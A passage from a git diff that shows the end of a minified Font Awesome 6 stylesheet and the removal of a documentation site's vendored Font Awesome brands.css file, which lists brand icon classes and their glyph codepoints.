figma:before{content:"\f799"}.fa-creative-commons-remix:before{content:"\f4ee"}.fa-cc-amazon-pay:before{content:"\f42d"}.fa-dropbox:before{content:"\f16b"}.fa-instagram:before{content:"\f16d"}.fa-cmplid:before{content:"\e360"}.fa-upwork:before{content:"\e641"}.fa-facebook:before{content:"\f09a"}.fa-gripfire:before{content:"\f3ac"}.fa-jedi-order:before{content:"\f50e"}.fa-uikit:before{content:"\f403"}.fa-fort-awesome-alt:before{content:"\f3a3"}.fa-phabricator:before{content:"\f3db"}.fa-ussunnah:before{content:"\f407"}.fa-earlybirds:before{content:"\f39a"}.fa-trade-federation:before{content:"\f513"}.fa-autoprefixer:before{content:"\f41c"}.fa-whatsapp:before{content:"\f232"}.fa-square-upwork:before{content:"\e67c"}.fa-slideshare:before{content:"\f1e7"}.fa-google-play:before{content:"\f3ab"}.fa-viadeo:before{content:"\f2a9"}.fa-line:before{content:"\f3c0"}.fa-google-drive:before{content:"\f3aa"}.fa-servicestack:before{content:"\f3ec"}.fa-simplybuilt:before{content:"\f215"}.fa-bitbucket:before{content:"\f171"}.fa-imdb:before{content:"\f2d8"}.fa-deezer:before{content:"\e077"}.fa-raspberry-pi:before{content:"\f7bb"}.fa-jira:before{content:"\f7b1"}.fa-docker:before{content:"\f395"}.fa-screenpal:before{content:"\e570"}.fa-bluetooth:before{content:"\f293"}.fa-gitter:before{content:"\f426"}.fa-d-and-d:before{content:"\f38d"}.fa-microblog:before{content:"\e01a"}.fa-cc-diners-club:before{content:"\f24c"}.fa-gg-circle:before{content:"\f261"}.fa-pied-piper-hat:before{content:"\f4e5"}.fa-kickstarter-k:before{content:"\f3bc"}.fa-yandex:before{content:"\f413"}.fa-readme:before{content:"\f4d5"}.fa-html5:before{content:"\f13b"}.fa-sellsy:before{content:"\f213"}.fa-square-web-awesome:before{content:"\e683"}.fa-sass:before{content:"\f41e"}.fa-wirsindhandwerk:before,.fa-wsh:before{content:"\e2d0"}.fa-buromobelexperte:before{content:"\f37f"}.fa-salesforce:before{content:"\f83b"}.fa-octopus-deploy:before{content:"\e082"}.fa-medapps:before{content:"\f3c6"}.fa-ns8:before{content:"\f3d5"}.fa-pinterest-p:before{content:"\f231"}.fa-apper:before{content:"\f371"}.fa-fort-awesome:before{content:"\f286"}.fa-waze:before{content:"\f83f"}.fa-bluesky:before{content:"\e671"}.fa-cc-jcb:before{content:"\f24b"}.fa-snapchat-ghost:before,.fa-snapchat:before{content:"\f2ab"}.fa-fantasy-flight-games:before{content:"\f6dc"}.fa-rust:before{content:"\e07a"}.fa-wix:before{content:"\f5cf"}.fa-behance-square:before,.fa-square-behance:before{content:"\f1b5"}.fa-supple:before{content:"\f3f9"}.fa-webflow:before{content:"\e65c"}.fa-rebel:before{content:"\f1d0"}.fa-css3:before{content:"\f13c"}.fa-staylinked:before{content:"\f3f5"}.fa-kaggle:before{content:"\f5fa"}.fa-space-awesome:before{content:"\e5ac"}.fa-deviantart:before{content:"\f1bd"}.fa-cpanel:before{content:"\f388"}.fa-goodreads-g:before{content:"\f3a9"}.fa-git-square:before,.fa-square-git:before{content:"\f1d2"}.fa-square-tumblr:before,.fa-tumblr-square:before{content:"\f174"}.fa-trello:before{content:"\f181"}.fa-creative-commons-nc-jp:before{content:"\f4ea"}.fa-get-pocket:before{content:"\f265"}.fa-perbyte:before{content:"\e083"}.fa-grunt:before{content:"\f3ad"}.fa-weebly:before{content:"\f5cc"}.fa-connectdevelop:before{content:"\f20e"}.fa-leanpub:before{content:"\f212"}.fa-black-tie:before{content:"\f27e"}.fa-themeco:before{content:"\f5c6"}.fa-python:before{content:"\f3e2"}.fa-android:before{content:"\f17b"}.fa-bots:before{content:"\e340"}.fa-free-code-camp:before{content:"\f2c5"}.fa-hornbill:before{content:"\f592"}.fa-js:before{content:"\f3b8"}.fa-ideal:before{content:"\e013"}.fa-git:before{content:"\f1d3"}.fa-dev:before{content:"\f6cc"}.fa-sketch:before{content:"\f7c6"}.fa-yandex-international:before{content:"\f414"}.fa-cc-amex:before{content:"\f1f3"}.fa-uber:before{content:"\f402"}.fa-github:before{content:"\f09b"}.fa-php:before{content:"\f457"}.fa-alipay:before{content:"\f642"}.fa-youtube:before{content:"\f167"}.fa-skyatlas:before{content:"\f216"}.fa-firefox-browser:before{content:"\e007"}.fa-replyd:before{content:"\f3e6"}.fa-suse:before{content:"\f7d6"}.fa-jenkins:before{content:"\f3b6"}.fa-twitter:before{content:"\f099"}.fa-rockrms:before{content:"\f3e9"}.fa-pinterest:before{content:"\f0d2"}.fa-buffer:before{content:"\f837"}.fa-npm:before{content:"\f3d4"}.fa-yammer:before{content:"\f840"}.fa-btc:before{content:"\f15a"}.fa-dribbble:before{content:"\f17d"}.fa-stumbleupon-circle:before{content:"\f1a3"}.fa-internet-explorer:before{content:"\f26b"}.fa-stubber:before{content:"\e5c7"}.fa-telegram-plane:before,.fa-telegram:before{content:"\f2c6"}.fa-old-republic:before{content:"\f510"}.fa-odysee:before{content:"\e5c6"}.fa-square-whatsapp:before,.fa-whatsapp-square:before{content:"\f40c"}.fa-node-js:before{content:"\f3d3"}.fa-edge-legacy:before{content:"\e078"}.fa-slack-hash:before,.fa-slack:before{content:"\f198"}.fa-medrt:before{content:"\f3c8"}.fa-usb:before{content:"\f287"}.fa-tumblr:before{content:"\f173"}.fa-vaadin:before{content:"\f408"}.fa-quora:before{content:"\f2c4"}.fa-square-x-twitter:before{content:"\e61a"}.fa-reacteurope:before{content:"\f75d"}.fa-medium-m:before,.fa-medium:before{content:"\f23a"}.fa-amilia:before{content:"\f36d"}.fa-mixcloud:before{content:"\f289"}.fa-flipboard:before{content:"\f44d"}.fa-viacoin:before{content:"\f237"}.fa-critical-role:before{content:"\f6c9"}.fa-sitrox:before{content:"\e44a"}.fa-discourse:before{content:"\f393"}.fa-joomla:before{content:"\f1aa"}.fa-mastodon:before{content:"\f4f6"}.fa-airbnb:before{content:"\f834"}.fa-wolf-pack-battalion:before{content:"\f514"}.fa-buy-n-large:before{content:"\f8a6"}.fa-gulp:before{content:"\f3ae"}.fa-creative-commons-sampling-plus:before{content:"\f4f1"}.fa-strava:before{content:"\f428"}.fa-ember:before{content:"\f423"}.fa-canadian-maple-leaf:before{content:"\f785"}.fa-teamspeak:before{content:"\f4f9"}.fa-pushed:before{content:"\f3e1"}.fa-wordpress-simple:before{content:"\f411"}.fa-nutritionix:before{content:"\f3d6"}.fa-wodu:before{content:"\e088"}.fa-google-pay:before{content:"\e079"}.fa-intercom:before{content:"\f7af"}.fa-zhihu:before{content:"\f63f"}.fa-korvue:before{content:"\f42f"}.fa-pix:before{content:"\e43a"}.fa-steam-symbol:before{content:"\f3f6"}:host,:root{--fa-font-regular:normal 400 1em/1 "Font Awesome 6 Free"}@font-face{font-family:"Font Awesome 6 Free";font-style:normal;font-weight:400;font-display:block;src:url(../webfonts/fa-regular-400.woff2) format("woff2"),url(../webfonts/fa-regular-400.ttf) format("truetype")}.fa-regular,.far{font-weight:400}:host,:root{--fa-style-family-classic:"Font Awesome 6 Free";--fa-font-solid:normal 900 1em/1 "Font Awesome 6 Free"}@font-face{font-family:"Font Awesome 6 Free";font-style:normal;font-weight:900;font-display:block;src:url(../webfonts/fa-solid-900.woff2) format("woff2"),url(../webfonts/fa-solid-900.ttf) format("truetype")}.fa-solid,.fas{font-weight:900}@font-face{font-family:"Font Awesome 5 Brands";font-display:block;font-weight:400;src:url(../webfonts/fa-brands-400.woff2) format("woff2"),url(../webfonts/fa-brands-400.ttf) format("truetype")}@font-face{font-family:"Font Awesome 5 Free";font-display:block;font-weight:900;src:url(../webfonts/fa-solid-900.woff2) format("woff2"),url(../webfonts/fa-solid-900.ttf) format("truetype")}@font-face{font-family:"Font Awesome 5 Free";font-display:block;font-weight:400;src:url(../webfonts/fa-regular-400.woff2) format("woff2"),url(../webfonts/fa-regular-400.ttf) format("truetype")}@font-face{font-family:"FontAwesome";font-display:block;src:url(../webfonts/fa-solid-900.woff2) format("woff2"),url(../webfonts/fa-solid-900.ttf) format("truetype")}@font-face{font-family:"FontAwesome";font-display:block;src:url(../webfonts/fa-brands-400.woff2) format("woff2"),url(../webfonts/fa-brands-400.ttf) format("truetype")}@font-face{font-family:"FontAwesome";font-display:block;src:url(../webfonts/fa-regular-400.woff2) format("woff2"),url(../webfonts/fa-regular-400.ttf) format("truetype");unicode-range:u+f003,u+f006,u+f014,u+f016-f017,u+f01a-f01b,u+f01d,u+f022,u+f03e,u+f044,u+f046,u+f05c-f05d,u+f06e,u+f070,u+f087-f088,u+f08a,u+f094,u+f096-f097,u+f09d,u+f0a0,u+f0a2,u+f0a4-f0a7,u+f0c5,u+f0c7,u+f0e5-f0e6,u+f0eb,u+f0f6-f0f8,u+f10c,u+f114-f115,u+f118-f11a,u+f11c-f11d,u+f133,u+f147,u+f14e,u+f150-f152,u+f185-f186,u+f18e,u+f190-f192,u+f196,u+f1c1-f1c9,u+f1d9,u+f1db,u+f1e3,u+f1ea,u+f1f7,u+f1f9,u+f20a,u+f247-f248,u+f24a,u+f24d,u+f255-f25b,u+f25d,u+f271-f274,u+f278,u+f27b,u+f28c,u+f28e,u+f29c,u+f2b5,u+f2b7,u+f2ba,u+f2bc,u+f2be,u+f2c0-f2c1,u+f2c3,u+f2d0,u+f2d2,u+f2d4,u+f2dc}@font-face{font-family:"FontAwesome";font-display:block;src:url(../webfonts/fa-v4compatibility.woff2) format("woff2"),url(../webfonts/fa-v4compatibility.ttf) format("truetype");unicode-range:u+f041,u+f047,u+f065-f066,u+f07d-f07e,u+f080,u+f08b,u+f08e,u+f090,u+f09a,u+f0ac,u+f0ae,u+f0b2,u+f0d0,u+f0d6,u+f0e4,u+f0ec,u+f10a-f10b,u+f123,u+f13e,u+f148-f149,u+f14c,u+f156,u+f15e,u+f160-f161,u+f163,u+f175-f178,u+f195,u+f1f8,u+f219,u+f27a}
\ No newline at end of file
diff --git a/documentation/frontend/static/fontawesome/css/brands.css b/documentation/frontend/static/fontawesome/css/brands.css
deleted file mode 100644
index 12ad3aa..0000000
--- a/documentation/frontend/static/fontawesome/css/brands.css
+++ /dev/null
@@ -1,1594 +0,0 @@
-/*!
- * Font Awesome Free 6.5.2 by @fontawesome - https://fontawesome.com
- * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License)
- * Copyright 2024 Fonticons, Inc.
- */
-:root, :host {
- --fa-style-family-brands: 'Font Awesome 6 Brands';
- --fa-font-brands: normal 400 1em/1 'Font Awesome 6 Brands'; }
-
-@font-face {
- font-family: 'Font Awesome 6 Brands';
- font-style: normal;
- font-weight: 400;
- font-display: block;
- src: url("../webfonts/fa-brands-400.woff2") format("woff2"), url("../webfonts/fa-brands-400.ttf") format("truetype"); }
-
-.fab,
-.fa-brands {
- font-weight: 400; }
-
-.fa-monero:before {
- content: "\f3d0"; }
-
-.fa-hooli:before {
- content: "\f427"; }
-
-.fa-yelp:before {
- content: "\f1e9"; }
-
-.fa-cc-visa:before {
- content: "\f1f0"; }
-
-.fa-lastfm:before {
- content: "\f202"; }
-
-.fa-shopware:before {
- content: "\f5b5"; }
-
-.fa-creative-commons-nc:before {
- content: "\f4e8"; }
-
-.fa-aws:before {
- content: "\f375"; }
-
-.fa-redhat:before {
- content: "\f7bc"; }
-
-.fa-yoast:before {
- content: "\f2b1"; }
-
-.fa-cloudflare:before {
- content: "\e07d"; }
-
-.fa-ups:before {
- content: "\f7e0"; }
-
-.fa-pixiv:before {
- content: "\e640"; }
-
-.fa-wpexplorer:before {
- content: "\f2de"; }
-
-.fa-dyalog:before {
- content: "\f399"; }
-
-.fa-bity:before {
- content: "\f37a"; }
-
-.fa-stackpath:before {
- content: "\f842"; }
-
-.fa-buysellads:before {
- content: "\f20d"; }
-
-.fa-first-order:before {
- content: "\f2b0"; }
-
-.fa-modx:before {
- content: "\f285"; }
-
-.fa-guilded:before {
- content: "\e07e"; }
-
-.fa-vnv:before {
- content: "\f40b"; }
-
-.fa-square-js:before {
- content: "\f3b9"; }
-
-.fa-js-square:before {
- content: "\f3b9"; }
-
-.fa-microsoft:before {
- content: "\f3ca"; }
-
-.fa-qq:before {
- content: "\f1d6"; }
-
-.fa-orcid:before {
- content: "\f8d2"; }
-
-.fa-java:before {
- content: "\f4e4"; }
-
-.fa-invision:before {
- content: "\f7b0"; }
-
-.fa-creative-commons-pd-alt:before {
- content: "\f4ed"; }
-
-.fa-centercode:before {
- content: "\f380"; }
-
-.fa-glide-g:before {
- content: "\f2a6"; }
-
-.fa-drupal:before {
- content: "\f1a9"; }
-
-.fa-jxl:before {
- content: "\e67b"; }
-
-.fa-hire-a-helper:before {
- content: "\f3b0"; }
-
-.fa-creative-commons-by:before {
- content: "\f4e7"; }
-
-.fa-unity:before {
- content: "\e049"; }
-
-.fa-whmcs:before {
- content: "\f40d"; }
-
-.fa-rocketchat:before {
- content: "\f3e8"; }
-
-.fa-vk:before {
- content: "\f189"; }
-
-.fa-untappd:before {
- content: "\f405"; }
-
-.fa-mailchimp:before {
- content: "\f59e"; }
-
-.fa-css3-alt:before {
- content: "\f38b"; }
-
-.fa-square-reddit:before {
- content: "\f1a2"; }
-
-.fa-reddit-square:before {
- content: "\f1a2"; }
-
-.fa-vimeo-v:before {
- content: "\f27d"; }
-
-.fa-contao:before {
- content: "\f26d"; }
-
-.fa-square-font-awesome:before {
- content: "\e5ad"; }
-
-.fa-deskpro:before {
- content: "\f38f"; }
-
-.fa-brave:before {
- content: "\e63c"; }
-
-.fa-sistrix:before {
- content: "\f3ee"; }
-
-.fa-square-instagram:before {
- content: "\e055"; }
-
-.fa-instagram-square:before {
- content: "\e055"; }
-
-.fa-battle-net:before {
- content: "\f835"; }
-
-.fa-the-red-yeti:before {
- content: "\f69d"; }
-
-.fa-square-hacker-news:before {
- content: "\f3af"; }
-
-.fa-hacker-news-square:before {
- content: "\f3af"; }
-
-.fa-edge:before {
- content: "\f282"; }
-
-.fa-threads:before {
- content: "\e618"; }
-
-.fa-napster:before {
- content: "\f3d2"; }
-
-.fa-square-snapchat:before {
- content: "\f2ad"; }
-
-.fa-snapchat-square:before {
- content: "\f2ad"; }
-
-.fa-google-plus-g:before {
- content: "\f0d5"; }
-
-.fa-artstation:before {
- content: "\f77a"; }
-
-.fa-markdown:before {
- content: "\f60f"; }
-
-.fa-sourcetree:before {
- content: "\f7d3"; }
-
-.fa-google-plus:before {
- content: "\f2b3"; }
-
-.fa-diaspora:before {
- content: "\f791"; }
-
-.fa-foursquare:before {
- content: "\f180"; }
-
-.fa-stack-overflow:before {
- content: "\f16c"; }
-
-.fa-github-alt:before {
- content: "\f113"; }
-
-.fa-phoenix-squadron:before {
- content: "\f511"; }
-
-.fa-pagelines:before {
- content: "\f18c"; }
-
-.fa-algolia:before {
- content: "\f36c"; }
-
-.fa-red-river:before {
- content: "\f3e3"; }
-
-.fa-creative-commons-sa:before {
- content: "\f4ef"; }
-
-.fa-safari:before {
- content: "\f267"; }
-
-.fa-google:before {
- content: "\f1a0"; }
-
-.fa-square-font-awesome-stroke:before {
- content: "\f35c"; }
-
-.fa-font-awesome-alt:before {
- content: "\f35c"; }
-
-.fa-atlassian:before {
- content: "\f77b"; }
-
-.fa-linkedin-in:before {
- content: "\f0e1"; }
-
-.fa-digital-ocean:before {
- content: "\f391"; }
-
-.fa-nimblr:before {
- content: "\f5a8"; }
-
-.fa-chromecast:before {
- content: "\f838"; }
-
-.fa-evernote:before {
- content: "\f839"; }
-
-.fa-hacker-news:before {
- content: "\f1d4"; }
-
-.fa-creative-commons-sampling:before {
- content: "\f4f0"; }
-
-.fa-adversal:before {
- content: "\f36a"; }
-
-.fa-creative-commons:before {
- content: "\f25e"; }
-
-.fa-watchman-monitoring:before {
- content: "\e087"; }
-
-.fa-fonticons:before {
- content: "\f280"; }
-
-.fa-weixin:before {
- content: "\f1d7"; }
-
-.fa-shirtsinbulk:before {
- content: "\f214"; }
-
-.fa-codepen:before {
- content: "\f1cb"; }
-
-.fa-git-alt:before {
- content: "\f841"; }
-
-.fa-lyft:before {
- content: "\f3c3"; }
-
-.fa-rev:before {
- content: "\f5b2"; }
-
-.fa-windows:before {
- content: "\f17a"; }
-
-.fa-wizards-of-the-coast:before {
- content: "\f730"; }
-
-.fa-square-viadeo:before {
- content: "\f2aa"; }
-
-.fa-viadeo-square:before {
- content: "\f2aa"; }
-
-.fa-meetup:before {
- content: "\f2e0"; }
-
-.fa-centos:before {
- content: "\f789"; }
-
-.fa-adn:before {
- content: "\f170"; }
-
-.fa-cloudsmith:before {
- content: "\f384"; }
-
-.fa-opensuse:before {
- content: "\e62b"; }
-
-.fa-pied-piper-alt:before {
- content: "\f1a8"; }
-
-.fa-square-dribbble:before {
- content: "\f397"; }
-
-.fa-dribbble-square:before {
- content: "\f397"; }
-
-.fa-codiepie:before {
- content: "\f284"; }
-
-.fa-node:before {
- content: "\f419"; }
-
-.fa-mix:before {
- content: "\f3cb"; }
-
-.fa-steam:before {
- content: "\f1b6"; }
-
-.fa-cc-apple-pay:before {
- content: "\f416"; }
-
-.fa-scribd:before {
- content: "\f28a"; }
-
-.fa-debian:before {
- content: "\e60b"; }
-
-.fa-openid:before {
- content: "\f19b"; }
-
-.fa-instalod:before {
- content: "\e081"; }
-
-.fa-expeditedssl:before {
- content: "\f23e"; }
-
-.fa-sellcast:before {
- content: "\f2da"; }
-
-.fa-square-twitter:before {
- content: "\f081"; }
-
-.fa-twitter-square:before {
- content: "\f081"; }
-
-.fa-r-project:before {
- content: "\f4f7"; }
-
-.fa-delicious:before {
- content: "\f1a5"; }
-
-.fa-freebsd:before {
- content: "\f3a4"; }
-
-.fa-vuejs:before {
- content: "\f41f"; }
-
-.fa-accusoft:before {
- content: "\f369"; }
-
-.fa-ioxhost:before {
- content: "\f208"; }
-
-.fa-fonticons-fi:before {
- content: "\f3a2"; }
-
-.fa-app-store:before {
- content: "\f36f"; }
-
-.fa-cc-mastercard:before {
- content: "\f1f1"; }
-
-.fa-itunes-note:before {
- content: "\f3b5"; }
-
-.fa-golang:before {
- content: "\e40f"; }
-
-.fa-kickstarter:before {
- content: "\f3bb"; }
-
-.fa-square-kickstarter:before {
- content: "\f3bb"; }
-
-.fa-grav:before {
- content: "\f2d6"; }
-
-.fa-weibo:before {
- content: "\f18a"; }
-
-.fa-uncharted:before {
- content: "\e084"; }
-
-.fa-firstdraft:before {
- content: "\f3a1"; }
-
-.fa-square-youtube:before {
- content: "\f431"; }
-
-.fa-youtube-square:before {
- content: "\f431"; }
-
-.fa-wikipedia-w:before {
- content: "\f266"; }
-
-.fa-wpressr:before {
- content: "\f3e4"; }
-
-.fa-rendact:before {
- content: "\f3e4"; }
-
-.fa-angellist:before {
- content: "\f209"; }
-
-.fa-galactic-republic:before {
- content: "\f50c"; }
-
-.fa-nfc-directional:before {
- content: "\e530"; }
-
-.fa-skype:before {
- content: "\f17e"; }
-
-.fa-joget:before {
- content: "\f3b7"; }
-
-.fa-fedora:before {
- content: "\f798"; }
-
-.fa-stripe-s:before {
- content: "\f42a"; }
-
-.fa-meta:before {
- content: "\e49b"; }
-
-.fa-laravel:before {
- content: "\f3bd"; }
-
-.fa-hotjar:before {
- content: "\f3b1"; }
-
-.fa-bluetooth-b:before {
- content: "\f294"; }
-
-.fa-square-letterboxd:before {
- content: "\e62e"; }
-
-.fa-sticker-mule:before {
- content: "\f3f7"; }
-
-.fa-creative-commons-zero:before {
- content: "\f4f3"; }
-
-.fa-hips:before {
- content: "\f452"; }
-
-.fa-behance:before {
- content: "\f1b4"; }
-
-.fa-reddit:before {
- content: "\f1a1"; }
-
-.fa-discord:before {
- content: "\f392"; }
-
-.fa-chrome:before {
- content: "\f268"; }
-
-.fa-app-store-ios:before {
- content: "\f370"; }
-
-.fa-cc-discover:before {
- content: "\f1f2"; }
-
-.fa-wpbeginner:before {
- content: "\f297"; }
-
-.fa-confluence:before {
- content: "\f78d"; }
-
-.fa-shoelace:before {
- content: "\e60c"; }
-
-.fa-mdb:before {
- content: "\f8ca"; }
-
-.fa-dochub:before {
- content: "\f394"; }
-
-.fa-accessible-icon:before {
- content: "\f368"; }
-
-.fa-ebay:before {
- content: "\f4f4"; }
-
-.fa-amazon:before {
- content: "\f270"; }
-
-.fa-unsplash:before {
- content: "\e07c"; }
-
-.fa-yarn:before {
- content: "\f7e3"; }
-
-.fa-square-steam:before {
- content: "\f1b7"; }
-
-.fa-steam-square:before {
- content: "\f1b7"; }
-
-.fa-500px:before {
- content: "\f26e"; }
-
-.fa-square-vimeo:before {
- content: "\f194"; }
-
-.fa-vimeo-square:before {
- content: "\f194"; }
-
-.fa-asymmetrik:before {
- content: "\f372"; }
-
-.fa-font-awesome:before {
- content: "\f2b4"; }
-
-.fa-font-awesome-flag:before {
- content: "\f2b4"; }
-
-.fa-font-awesome-logo-full:before {
- content: "\f2b4"; }
-
-.fa-gratipay:before {
- content: "\f184"; }
-
-.fa-apple:before {
- content: "\f179"; }
-
-.fa-hive:before {
- content: "\e07f"; }
-
-.fa-gitkraken:before {
- content: "\f3a6"; }
-
-.fa-keybase:before {
- content: "\f4f5"; }
-
-.fa-apple-pay:before {
- content: "\f415"; }
-
-.fa-padlet:before {
- content: "\e4a0"; }
-
-.fa-amazon-pay:before {
- content: "\f42c"; }
-
-.fa-square-github:before {
- content: "\f092"; }
-
-.fa-github-square:before {
- content: "\f092"; }
-
-.fa-stumbleupon:before {
- content: "\f1a4"; }
-
-.fa-fedex:before {
- content: "\f797"; }
-
-.fa-phoenix-framework:before {
- content: "\f3dc"; }
-
-.fa-shopify:before {
- content: "\e057"; }
-
-.fa-neos:before {
- content: "\f612"; }
-
-.fa-square-threads:before {
- content: "\e619"; }
-
-.fa-hackerrank:before {
- content: "\f5f7"; }
-
-.fa-researchgate:before {
- content: "\f4f8"; }
-
-.fa-swift:before {
- content: "\f8e1"; }
-
-.fa-angular:before {
- content: "\f420"; }
-
-.fa-speakap:before {
- content: "\f3f3"; }
-
-.fa-angrycreative:before {
- content: "\f36e"; }
-
-.fa-y-combinator:before {
- content: "\f23b"; }
-
-.fa-empire:before {
- content: "\f1d1"; }
-
-.fa-envira:before {
- content: "\f299"; }
-
-.fa-google-scholar:before {
- content: "\e63b"; }
-
-.fa-square-gitlab:before {
- content: "\e5ae"; }
-
-.fa-gitlab-square:before {
- content: "\e5ae"; }
-
-.fa-studiovinari:before {
- content: "\f3f8"; }
-
-.fa-pied-piper:before {
- content: "\f2ae"; }
-
-.fa-wordpress:before {
- content: "\f19a"; }
-
-.fa-product-hunt:before {
- content: "\f288"; }
-
-.fa-firefox:before {
- content: "\f269"; }
-
-.fa-linode:before {
- content: "\f2b8"; }
-
-.fa-goodreads:before {
- content: "\f3a8"; }
-
-.fa-square-odnoklassniki:before {
- content: "\f264"; }
-
-.fa-odnoklassniki-square:before {
- content: "\f264"; }
-
-.fa-jsfiddle:before {
- content: "\f1cc"; }
-
-.fa-sith:before {
- content: "\f512"; }
-
-.fa-themeisle:before {
- content: "\f2b2"; }
-
-.fa-page4:before {
- content: "\f3d7"; }
-
-.fa-hashnode:before {
- content: "\e499"; }
-
-.fa-react:before {
- content: "\f41b"; }
-
-.fa-cc-paypal:before {
- content: "\f1f4"; }
-
-.fa-squarespace:before {
- content: "\f5be"; }
-
-.fa-cc-stripe:before {
- content: "\f1f5"; }
-
-.fa-creative-commons-share:before {
- content: "\f4f2"; }
-
-.fa-bitcoin:before {
- content: "\f379"; }
-
-.fa-keycdn:before {
- content: "\f3ba"; }
-
-.fa-opera:before {
- content: "\f26a"; }
-
-.fa-itch-io:before {
- content: "\f83a"; }
-
-.fa-umbraco:before {
- content: "\f8e8"; }
-
-.fa-galactic-senate:before {
- content: "\f50d"; }
-
-.fa-ubuntu:before {
- content: "\f7df"; }
-
-.fa-draft2digital:before {
- content: "\f396"; }
-
-.fa-stripe:before {
- content: "\f429"; }
-
-.fa-houzz:before {
- content: "\f27c"; }
-
-.fa-gg:before {
- content: "\f260"; }
-
-.fa-dhl:before {
- content: "\f790"; }
-
-.fa-square-pinterest:before {
- content: "\f0d3"; }
-
-.fa-pinterest-square:before {
- content: "\f0d3"; }
-
-.fa-xing:before {
- content: "\f168"; }
-
-.fa-blackberry:before {
- content: "\f37b"; }
-
-.fa-creative-commons-pd:before {
- content: "\f4ec"; }
-
-.fa-playstation:before {
- content: "\f3df"; }
-
-.fa-quinscape:before {
- content: "\f459"; }
-
-.fa-less:before {
- content: "\f41d"; }
-
-.fa-blogger-b:before {
- content: "\f37d"; }
-
-.fa-opencart:before {
- content: "\f23d"; }
-
-.fa-vine:before {
- content: "\f1ca"; }
-
-.fa-signal-messenger:before {
- content: "\e663"; }
-
-.fa-paypal:before {
- content: "\f1ed"; }
-
-.fa-gitlab:before {
- content: "\f296"; }
-
-.fa-typo3:before {
- content: "\f42b"; }
-
-.fa-reddit-alien:before {
- content: "\f281"; }
-
-.fa-yahoo:before {
- content: "\f19e"; }
-
-.fa-dailymotion:before {
- content: "\e052"; }
-
-.fa-affiliatetheme:before {
- content: "\f36b"; }
-
-.fa-pied-piper-pp:before {
- content: "\f1a7"; }
-
-.fa-bootstrap:before {
- content: "\f836"; }
-
-.fa-odnoklassniki:before {
- content: "\f263"; }
-
-.fa-nfc-symbol:before {
- content: "\e531"; }
-
-.fa-mintbit:before {
- content: "\e62f"; }
-
-.fa-ethereum:before {
- content: "\f42e"; }
-
-.fa-speaker-deck:before {
- content: "\f83c"; }
-
-.fa-creative-commons-nc-eu:before {
- content: "\f4e9"; }
-
-.fa-patreon:before {
- content: "\f3d9"; }
-
-.fa-avianex:before {
- content: "\f374"; }
-
-.fa-ello:before {
- content: "\f5f1"; }
-
-.fa-gofore:before {
- content: "\f3a7"; }
-
-.fa-bimobject:before {
- content: "\f378"; }
-
-.fa-brave-reverse:before {
- content: "\e63d"; }
-
-.fa-facebook-f:before {
- content: "\f39e"; }
-
-.fa-square-google-plus:before {
- content: "\f0d4"; }
-
-.fa-google-plus-square:before {
- content: "\f0d4"; }
-
-.fa-web-awesome:before {
- content: "\e682"; }
-
-.fa-mandalorian:before {
- content: "\f50f"; }
-
-.fa-first-order-alt:before {
- content: "\f50a"; }
-
-.fa-osi:before {
- content: "\f41a"; }
-
-.fa-google-wallet:before {
- content: "\f1ee"; }
-
-.fa-d-and-d-beyond:before {
- content: "\f6ca"; }
-
-.fa-periscope:before {
- content: "\f3da"; }
-
-.fa-fulcrum:before {
- content: "\f50b"; }
-
-.fa-cloudscale:before {
- content: "\f383"; }
-
-.fa-forumbee:before {
- content: "\f211"; }
-
-.fa-mizuni:before {
- content: "\f3cc"; }
-
-.fa-schlix:before {
- content: "\f3ea"; }
-
-.fa-square-xing:before {
- content: "\f169"; }
-
-.fa-xing-square:before {
- content: "\f169"; }
-
-.fa-bandcamp:before {
- content: "\f2d5"; }
-
-.fa-wpforms:before {
- content: "\f298"; }
-
-.fa-cloudversify:before {
- content: "\f385"; }
-
-.fa-usps:before {
- content: "\f7e1"; }
-
-.fa-megaport:before {
- content: "\f5a3"; }
-
-.fa-magento:before {
- content: "\f3c4"; }
-
-.fa-spotify:before {
- content: "\f1bc"; }
-
-.fa-optin-monster:before {
- content: "\f23c"; }
-
-.fa-fly:before {
- content: "\f417"; }
-
-.fa-aviato:before {
- content: "\f421"; }
-
-.fa-itunes:before {
- content: "\f3b4"; }
-
-.fa-cuttlefish:before {
- content: "\f38c"; }
-
-.fa-blogger:before {
- content: "\f37c"; }
-
-.fa-flickr:before {
- content: "\f16e"; }
-
-.fa-viber:before {
- content: "\f409"; }
-
-.fa-soundcloud:before {
- content: "\f1be"; }
-
-.fa-digg:before {
- content: "\f1a6"; }
-
-.fa-tencent-weibo:before {
- content: "\f1d5"; }
-
-.fa-letterboxd:before {
- content: "\e62d"; }
-
-.fa-symfony:before {
- content: "\f83d"; }
-
-.fa-maxcdn:before {
- content: "\f136"; }
-
-.fa-etsy:before {
- content: "\f2d7"; }
-
-.fa-facebook-messenger:before {
- content: "\f39f"; }
-
-.fa-audible:before {
- content: "\f373"; }
-
-.fa-think-peaks:before {
- content: "\f731"; }
-
-.fa-bilibili:before {
- content: "\e3d9"; }
-
-.fa-erlang:before {
- content: "\f39d"; }
-
-.fa-x-twitter:before {
- content: "\e61b"; }
-
-.fa-cotton-bureau:before {
- content: "\f89e"; }
-
-.fa-dashcube:before {
- content: "\f210"; }
-
-.fa-42-group:before {
- content: "\e080"; }
-
-.fa-innosoft:before {
- content: "\e080"; }
-
-.fa-stack-exchange:before {
- content: "\f18d"; }
-
-.fa-elementor:before {
- content: "\f430"; }
-
-.fa-square-pied-piper:before {
- content: "\e01e"; }
-
-.fa-pied-piper-square:before {
- content: "\e01e"; }
-
-.fa-creative-commons-nd:before {
- content: "\f4eb"; }
-
-.fa-palfed:before {
- content: "\f3d8"; }
-
-.fa-superpowers:before {
- content: "\f2dd"; }
-
-.fa-resolving:before {
- content: "\f3e7"; }
-
-.fa-xbox:before {
- content: "\f412"; }
-
-.fa-square-web-awesome-stroke:before {
- content: "\e684"; }
-
-.fa-searchengin:before {
- content: "\f3eb"; }
-
-.fa-tiktok:before {
- content: "\e07b"; }
-
-.fa-square-facebook:before {
- content: "\f082"; }
-
-.fa-facebook-square:before {
- content: "\f082"; }
-
-.fa-renren:before {
- content: "\f18b"; }
-
-.fa-linux:before {
- content: "\f17c"; }
-
-.fa-glide:before {
- content: "\f2a5"; }
-
-.fa-linkedin:before {
- content: "\f08c"; }
-
-.fa-hubspot:before {
- content: "\f3b2"; }
-
-.fa-deploydog:before {
- content: "\f38e"; }
-
-.fa-twitch:before {
- content: "\f1e8"; }
-
-.fa-ravelry:before {
- content: "\f2d9"; }
-
